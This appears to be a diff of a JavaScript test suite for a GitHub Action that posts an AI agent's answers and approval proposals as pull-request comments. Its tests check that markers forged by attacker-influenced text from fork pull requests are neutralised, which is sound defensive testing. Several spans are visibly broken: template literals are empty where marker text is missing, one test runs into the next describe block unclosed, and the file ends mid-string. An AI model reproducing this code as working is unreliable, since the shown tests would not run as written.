+ +describe("inFlightCheckId — the sweep must finish what another run started", () => { + test("finds our in-progress check", () => { + assert.equal(inFlightCheckId([{ name: "Test Companion", status: "in_progress", id: 7 }]), 7) + }) + + test("a completed check is already answered", () => { + assert.equal(inFlightCheckId([{ name: "Test Companion", status: "completed", id: 7 }]), undefined) + }) + + test("another tool's check is none of our business", () => { + assert.equal(inFlightCheckId([{ name: "CI / build", status: "in_progress", id: 7 }]), undefined) + }) + + test("the newest wins, so a stale one cannot", () => { + assert.equal( + inFlightCheckId([ + { name: "Test Companion", status: "in_progress", id: 3 }, + { name: "Test Companion", status: "queued", id: 9 }, + ]), + 9, + ) + }) + + test("nothing in, nothing out", () => { + assert.equal(inFlightCheckId([]), undefined) + assert.equal(inFlightCheckId(undefined), undefined) + }) +}) + +describe("a proposal for a job that writes no plan file", () => { + /** + * Only `test-pr` has --propose-only and --plan-file, so only it produces a + * separate plan. For `rca`, `fix` and `verdict` the proposal run is a + * PREVIEW run — it does the work and writes nothing — and its report is + * what the reviewer approves. + * + * The body said "This run did not produce a plan — there is nothing here + * to approve", which is wrong for those jobs and tells the reader to + * re-run something that worked. + */ + test("says the report IS the plan, rather than that there is nothing to approve", () => { + const out = renderProposalBody({ summary: "## Test Companion — Succeeded\n\nit went fine", plan: "" }) + assert.doesNotMatch(out, /nothing here to approve/) + assert.match(out, /above/i) + }) + + test("a real plan still wins", () => { + const out = renderProposalBody({ summary: "sum", plan: "1. write a test for the thing" }) + assert.match(out, /write a test for the thing/) + assert.doesNotMatch(out, /nothing here to approve/) + }) + + test("a run that produced neither still says so", () => { + const out = renderProposalBody({ summary: "", plan: "" }) + assert.match(out, /nothing here to approve/) + }) +}) + +/** + * Seen on a live run. Someone asked "@browserstack explain why the + * contract check is failing". The agent answered — "CI failure analysis from + * a run link is not enabled for your account yet. Please reach out to support + * to get access." — and the pull request comment showed a table saying + * "Succeeded" and not one word of it. + * + * For `rca` and `verdict` the answer is the whole product. A reply that does + * not contain the reply is not a reply. + */ +describe("renderJobSummary — the answer is the report, for jobs that only answer", () => { + const base = { workflow: "rca", outcome: "Succeeded", summary: { event: "pr_comment", duration: "28s" } } + + test("the answer is shown, above the links rather than under them", () => { + const out = renderJobSummary({ + ...base, + runUrl: "https://github.com/acme/shop/actions/runs/1", + answer: "The contract check fails because a negative credit is accepted.", + }) + assert.match(out, /negative credit is accepted/) + assert.ok( + out.indexOf("negative credit") < out.indexOf("https://github.com/acme/shop/actions/runs/1"), + "an answer below the run link is an answer nobody reads", + ) + }) + + test("no answer changes nothing — every other job still reports as it did", () => { + const without = renderJobSummary(base) + assert.equal(renderJobSummary({ ...base, answer: "" }), without) + assert.equal(renderJobSummary({ ...base, answer: " " }), without) + assert.equal(renderJobSummary({ ...base, answer: undefined }), without) + }) + + test("the answer is quoted as prose, not squeezed into the table", () => { + const out = renderJobSummary({ ...base, answer: "Line one.\n\nLine two." }) + assert.match(out, /Line one\./) + assert.match(out, /Line two\./) + assert.ok(!/\| Line one/.test(out), "the answer must not land inside the table") + }) +}) + +/** + * Building `new RegExp(shaPattern)` was safe only because every caller + * remembered to escape. These pin that the escaping is now the helper's job, + * which is what makes the answer stay true. + */ +describe("a proposal marker search is built from literals, never from raw input", () => { + test("a sha with regex metacharacters matches itself and nothing else", () => { + const nasty = "a.c*d+" + const body = `` + assert.ok( + findProposal([{ user: { type: "Bot", login: US }, body, id: 1 }], nasty, undefined, US), + "an escaped sha must still match itself", + ) + // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. + const other = "" + assert.equal(findProposal([{ user: { type: "Bot", login: US }, body: other, id: 2 }], nasty, undefined, US), undefined) + }) + + test("a long run of repeats does not hang the search", () => { + // The shape ReDoS reports are about. Linear here, so it returns at once. + const started = Date.now() + findProposal( + [{ user: { type: "Bot", login: US }, body: `` + const them = (body, id = 9) => ({ + user: { type: "Bot", login: "github-actions[bot]" }, + body, + id, + created_at: new Date().toISOString(), + }) + const us = (body, id = 1) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("another bot's proposal is NOT approvable", () => { + assert.equal( + findProposal([them(marker("abc123"))], "abc123", Date.now(), US), + undefined, + "a foreign proposal reaching a live --yolo run is the whole point of this check", + ) + }) + + test("our own proposal still is", () => { + assert.ok(findProposal([us(marker("abc123"))], "abc123", Date.now(), US)) + }) + + test("another bot's superseded proposal is not ours to explain", () => { + assert.equal(findSupersededProposal([them(marker("old111"))], "new222", US), undefined) + assert.ok(findSupersededProposal([us(marker("old111"))], "new222", US)) + }) + + test("we never edit another bot's comment", () => { + const theirs = them(`something ${COMMENT_MARKER}`, 7) + assert.deepEqual(chooseCommentAction([theirs], US), { action: "create" }) + assert.deepEqual(chooseCommentAction([us(`ours ${COMMENT_MARKER}`, 7)], US), { action: "update", id: 7 }) + }) + + test("a human quoting the marker is still not us", () => { + const human = { + user: { type: "User", login: "dev" }, + body: marker("abc123"), + id: 3, + created_at: new Date().toISOString(), + } + assert.equal(findProposal([human], "abc123", Date.now(), US), undefined) + }) +}) + +/** + * Approving a proposal left no trace that it had been approved. Three things + * followed from that one gap: + * + * - a second `go` found the same proposal and ran the job again; + * - the proposal's in-progress check was never adopted, so it stayed pending + * beside the real run's check; + * - a day later the sweep said "that proposal went a day without a reply" + * about a proposal that had been approved and had already run. + * + * And `stop` had the same gap from the other side: the comment told people + * "say stop to drop it", and stop cancelled runs without dropping anything. + */ +describe("a proposal that has been used up is not waiting any more", () => { + const US = "test-companion[bot]" + const SHA = "abc1234" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + const proposal = () => ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "test-pr")}`, 1) + + test("approving it means a second go finds nothing", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.ok(findProposal([proposal()], SHA, Date.now(), US), "precondition: it was approvable") + assert.equal(findProposal(after, SHA, Date.now(), US), undefined, "a second go must not rerun the job") + }) + + test("stopping it means a later go finds nothing either", () => { + const after = [proposal(), ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(findProposal(after, SHA, Date.now(), US), undefined) + }) + + test("the sweep leaves an approved proposal alone", () => { + const old = { ...proposal(), created_at: new Date(Date.now() - 25 * 3600_000).toISOString() } + assert.equal(proposalNeedsDropping([old], SHA, Date.now(), US), true, "precondition: stale and unanswered") + const approved = [old, ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.equal( + proposalNeedsDropping(approved, SHA, Date.now(), US), + false, + "telling someone their approved plan went unanswered is worse than saying nothing", + ) + }) + + test("the marker is per commit, so another commit's plan still stands", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor("deadbee")}`, 2)] + assert.ok(findProposal(after, SHA, Date.now(), US)) + }) +}) + +/** + * The consumed marker worked — a second `go` did not rerun the job. But the + * REPLY was wrong: it said "that plan was for an earlier commit", because + * with nothing waiting the code reaches for a superseded proposal, and an + * older one from before the branch moved was still in the thread. + * + * The commit had not changed. The plan had been approved and run. Telling + * someone their branch moved on when it did not sends them looking for a + * problem that is not there. + */ +describe("a plan that was already used says so, rather than blaming the commit", () => { + const US = "test-companion[bot]" + const SHA = "97e02ad" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("an approved plan on THIS commit is reported as used", () => { + const comments = [ + ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1), + ours(`ran\n\n${proposalConsumedMarkerFor(SHA)}`, 2), + ] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "approved") + }) + + test("a dropped plan is distinguished from an approved one", () => { + const comments = [ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "dropped") + }) + + test("an untouched plan is not 'used', so the superseded path still runs", () => { + const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("a marker for ANOTHER commit does not speak for this one", () => { + const comments = [ours(`ran\n\n${proposalConsumedMarkerFor("e55e2df")}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("another bot cannot declare our plan used", () => { + const theirs = { user: { type: "Bot", login: "github-actions[bot]" }, body: proposalConsumedMarkerFor(SHA), id: 3 } + assert.equal(proposalAlreadyUsed([theirs], SHA, US), undefined) + }) +}) + +/** + * : now that EVERY job's answer reaches the comment, the comment can + * be too big to post. + * + * GitHub refuses a body over 65,536 characters outright — the call fails and + * the run reports nothing at all, which is worse than the missing answer this + * change set out to fix. `generate` is the realistic case: thirty test cases + * described in prose. + */ +describe("renderComment keeps the body postable", () => { + const view = (answer) => ({ + workflow: "fix", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "fix", event: "pr_comment", duration: "49s", credits: 6 }, + runUrl: "https://github.com/o/r/actions/runs/1", + answer, + }) + + test("a normal comment is untouched", () => { + const body = renderComment(view("The import points one directory too high.")) + assert.ok(body.includes("The import points one directory too high.")) + assert.ok(body.endsWith(COMMENT_MARKER)) + assert.ok(body.length < COMMENT_LIMIT) + }) + + test("an oversized answer is cut to fit", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.length <= COMMENT_LIMIT, `body was ${body.length}`) + }) + + test("the marker survives the cut, or every run posts a second comment", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.endsWith(COMMENT_MARKER)) + }) + + test("the start of the answer is what is kept", () => { + const body = renderComment(view("THE CAUSE IS THE IMPORT.\n" + "filler ".repeat(40_000))) + assert.ok(body.includes("THE CAUSE IS THE IMPORT.")) + }) + + test("it says it was cut and where the rest is", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.match(body, /cut short/i) + assert.ok(body.includes("https://github.com/o/r/actions/runs/1")) + }) + + test("the table still renders above the cut answer", () => { + const body = renderComment(view("word ".repeat(40_000))) + assert.ok(body.includes("| Job | fix |")) + // The heading carries a mark in front of the words now, so match the + // shape rather than the exact string — see outcome-emoji.test.mjs. + assert.match(body, /## Test Companion — .*Succeeded/u) + }) + + // Not the answer's fault. The listed failures are capped, but a test NAME + // comes from the run's own output and nothing bounds it, so the guarantee + // has to hold without an answer to cut. + test("a body that is too big even without the answer is still postable", () => { + const failedTests = [{ name: "deeply/nested/".repeat(6000) + "test_name" }] + const body = renderComment({ ...view(undefined), failedTests }) + assert.ok(body.length <= COMMENT_LIMIT, `body was ${body.length}`) + assert.ok(body.endsWith(COMMENT_MARKER)) + assert.match(body, /cut short/i) + }) + + test("no run link still produces a usable notice", () => { + const body = renderComment({ ...view("word ".repeat(40_000)), runUrl: undefined }) + assert.ok(body.length <= COMMENT_LIMIT) + assert.match(body, /cut short/i) + }) +}) + +/** + * The answer and the failing-test names are the only text in the comment that + * comes from OUTSIDE: agent prose quoting build logs and repository files, and + * test names out of the run's own report. On a fork's pull request all of that + * is attacker-influenceable. + * + * Markers are how this Action finds its own comment and tracks whether a + * proposal is still open, and they are HTML comments. One arriving inside that + * borrowed text — planted, or quoted from a log by accident — gets read back + * as our own control data. + */ +describe("renderComment does not let borrowed text forge a marker", () => { + const view = (over) => ({ + workflow: "rca", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "rca", event: "pr_comment" }, + runUrl: "https://github.com/o/r/actions/runs/1", + ...over, + }) + + test("an answer quoting our own marker does not add a second one", () => { + const body = renderComment(view({ answer: `The log contains ${COMMENT_MARKER} on line 4.` })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1, "the comment carries a forged marker") + }) + + test("the real marker is still there, and still last", () => { + const body = renderComment(view({ answer: `quoting ${COMMENT_MARKER} here` })) + assert.ok(body.endsWith(COMMENT_MARKER)) + }) + + test("a forged proposal marker cannot reach the body", () => { + const forged = proposalMarkerFor("abc123", "someone", "fix") + const body = renderComment(view({ answer: `the build printed ${forged}` })) + assert.ok(!body.includes(forged), "a forged proposal marker survived into the comment") + }) + + test("a forged consumed marker cannot reach the body", () => { + const forged = proposalConsumedMarkerFor("abc123") + const body = renderComment(view({ answer: `log line: ${forged}` })) + assert.ok(!body.includes(forged)) + }) + + test("a failing test name cannot forge one either", () => { + const body = renderComment(view({ failedTests: [{ name: `evil ${COMMENT_MARKER} test` }] })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1) + }) + + test("the reader still sees what the log said", () => { + const body = renderComment(view({ answer: "the log contains on line 4" })) + assert.match(body, /test-companion-run/, "the text was deleted rather than neutralised") + assert.ok(body.includes("on line 4")) + }) + + // Every field of the report is borrowed, not just the two obvious ones. + // `line` sat beside `file` and `name` and went in raw (review finding). + test("a line number cannot carry a marker, and is a number or nothing", () => { + const body = renderComment(view({ failedTests: [{ name: "t", file: "a.js", line: `1 --> ${COMMENT_MARKER}` }] })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1) + assert.ok(!body.includes("1 -->"), "a non-numeric line was printed verbatim") + }) + + test("a real line number still shows", () => { + const body = renderComment(view({ failedTests: [{ name: "t", file: "a.js", line: 42 }] })) + assert.ok(body.includes("a.js:42")) + }) + + for (const [field, where] of [ + ["error_type", "why it stopped"], + ["saved_to", "where the cases went"], + ["duration", "a table cell"], + ["event", "a table cell"], + ]) { + test(`a marker in the report's ${field} (${where}) cannot reach the body`, () => { + const summary = { + workflow: "generate", + event: "pr_comment", + cases_generated: 3, + cases_saved: 3, + [field]: `x ${COMMENT_MARKER} x`, + } + const body = renderComment(view({ summary })) + assert.equal(body.split(COMMENT_MARKER).length - 1, 1, `${field} forged a marker`) + }) + } + + // Neutralising makes the text LONGER, so the size cap has to measure what + // actually goes out. Measuring the raw answer let one full of markers + // overrun the limit and the comment would not post at all. + test("an answer full of markers still fits once neutralised", () => { + const body = renderComment(view({ answer: "" + const spent = "" + + test("in the saved-work note", () => { + const body = renderComment({ outcome: "Succeeded", workNote: `**Saved** — 1 file:\n\n- \`${forged}\`` }) + assert.doesNotMatch(body, /\nMore text." + + test("markers in the plan are escaped", () => { + const body = renderProposalBody({ summary: "Summary", plan: forged }) + assert.doesNotMatch(body, /